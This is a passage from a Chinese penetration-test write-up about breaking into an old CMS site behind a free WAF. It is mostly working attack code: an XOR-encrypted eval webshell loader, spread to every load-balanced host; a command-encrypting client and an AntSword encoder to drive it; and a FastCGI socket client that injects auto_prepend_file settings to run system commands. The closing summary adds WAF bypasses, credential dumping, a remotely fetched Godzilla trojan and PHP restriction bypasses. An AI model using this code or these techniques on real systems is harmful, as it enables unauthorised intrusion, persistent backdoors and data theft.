$encrypted = base64_encode(xor_crypt($code, $secret));
$loader = '<?php
$k = trim(file_get_contents(dirname(__FILE__)."/1.txt"));
$k = preg_replace("/\s+/", "", $k);
if (!$k) die;
$d = base64_decode("' . $encrypted . '");
for($i=0;$i<strlen($d);$i++) $d[$i] = chr(ord($d[$i]) ^ ord($k[$i % strlen($k)]));
eval($d);
';
file_put_contents('loader.php', $loader);
file_put_contents('1.txt', $secret);
通过上面的接口穿上去,成功落地,请求负载均衡到了不同主机,所以要多上传几次,保证所有主机都有木马
测试一下能不能用,生成加密参数传过去
<?php
// ========== 客户端:加密 POST 数据 ==========
$key = "3c6e0b8a9c15224a";
$cmd = $argv[1] ?? "phpinfo();"; // 命令行参数,或直接改这里
// XOR 加密
$data = $cmd;
$out = "";
for($i=0;$i<strlen($data);$i++) {
$out .= chr(ord($data[$i]) ^ ord($key[$i % strlen($key)]));
}
echo "POST c=" . base64_encode($out);

成功执行,写个编码器给蚁剑连接,放到antData\encoders\php\encoder目录下
'use strict';
module.exports = (pwd, data, ext) => {
const key = '3c6e0b8a9c15224a';
let code = data['_'];
let encrypted = '';
for (let i = 0; i < code.length; i++) {
encrypted += String.fromCharCode(
code.charCodeAt(i) ^ key.charCodeAt(i % key.length)
);
}
data['c'] = Buffer.from(encrypted, 'latin1').toString('base64');
delete data['_'];
return data;
};
连接的时候选择写的编码器,对传出的数据没有要求,就使用默认的解码器了

连接上去,先看看有无其它版本的php,只有一台主机有四个版本的php

四个配置都可以看一下,72版本的连passthru都没禁用,这个配置错误就可以直接命令执行了,不然还得绕过

直接找72的sock发请求php代码执行
<?php
class FCGIClient {
private $sock;
function __construct($sock_path) {
$this->sock = @stream_socket_client($sock_path, $errno, $errstr, 5);
if (!$this->sock) die("连接失败: $errstr\n");
stream_set_timeout($this->sock, 10);
}
private function encodeRecord($type, $content, $requestId) {
$length = strlen($content);
return chr(1) . chr($type) . chr(($requestId >> 8) & 0xFF) . chr($requestId & 0xFF) .
chr(($length >> 8) & 0xFF) . chr($length & 0xFF) . chr(0) . chr(0) . $content;
}
private function encodeNV($name, $value) {
$n = strlen($name);
$v = strlen($value);
$r = ($n < 128 ? chr($n) : chr(($n >> 24) | 0x80) . chr(($n >> 16) & 0xFF) . chr(($n >> 8) & 0xFF) . chr($n & 0xFF));
$r .= ($v < 128 ? chr($v) : chr(($v >> 24) | 0x80) . chr(($v >> 16) & 0xFF) . chr(($v >> 8) & 0xFF) . chr($v & 0xFF));
return $r . $name . $value;
}
function request($params = array(), $stdin = '') {
$rid = rand(1, 65535);
fwrite($this->sock, $this->encodeRecord(1, chr(0) . chr(1) . chr(0) . str_repeat(chr(0), 5), $rid));
$ps = '';
foreach ($params as $k => $v) {
$ps .= $this->encodeNV($k, $v);
}
if ($ps) fwrite($this->sock, $this->encodeRecord(4, $ps, $rid));
fwrite($this->sock, $this->encodeRecord(4, '', $rid));
if ($stdin) fwrite($this->sock, $this->encodeRecord(5, $stdin, $rid));
fwrite($this->sock, $this->encodeRecord(5, '', $rid));
$out = '';
$err = '';
$end = false;
while (!feof($this->sock) && !$end) {
$h = fread($this->sock, 8);
if (strlen($h) < 8) break;
$t = ord($h[1]);
$cl = (ord($h[4]) << 8) | ord($h[5]);
$pl = ord($h[6]);
$c = '';
if ($cl > 0) {
$c = fread($this->sock, $cl);
$left = $cl - strlen($c);
while ($left > 0 && !feof($this->sock)) {
$c .= fread($this->sock, $left);
$left = $cl - strlen($c);
}
}
if ($pl > 0) fread($this->sock, $pl);
if ($t == 6) $out .= $c;
elseif ($t == 7) $err .= $c;
elseif ($t == 3) $end = true;
}
fclose($this->sock);
return array('out' => $out, 'err' => $err);
}
}
$payload = '<? passthru("id"); ?>';
$fcgi = new FCGIClient('unix:///tmp/php-cgi-72.sock');
$r = $fcgi->request(array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => '/www/wwwroot/???/index.php',
'SCRIPT_NAME' => '/index.php',
'REQUEST_URI' => '/index.php',
'DOCUMENT_ROOT' => '/www/wwwroot/???',
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '80',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/text',
'CONTENT_LENGTH' => strlen($payload),
'PHP_VALUE' => '',
'PHP_ADMIN_VALUE' => "allow_url_include = On\nauto_prepend_file = php://input\nopen_basedir = /"
), $payload);
echo "=== OUTPUT ===\n";
echo $r['out'];
echo "\n=== ERROR ===\n";
echo $r['err'];
?>
成功命令执行

接下来就能反弹shell了,看一下内核,找提权路径,经历多次无望,就放弃了,只能说,
还得练

0x03 总结
老 CMS 属实一波跌宕闯关,宝塔免费 WAF 像纸糊的一样,靠换行符 %0a、十六进制编码轻松糊弄过去,一路爆库扒出管理员密码。后台写马层层设卡,拆分关键字才勉强绕开过滤,远程拉取哥斯拉木马落地。各种 PHP 限制更是花样繁多,LD_PRELOAD、FPM、mod_cgi 挨个翻出来破解,又是跨目录限制又是禁用函数,硬生生啃下系统 shell。高防站点还要玩分片加密马、应对负载均衡多台服务器来回折腾,一通操作下来,渗透路上的各种坑算是挨个体验了一遍,属实练手拉满!🔥喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢!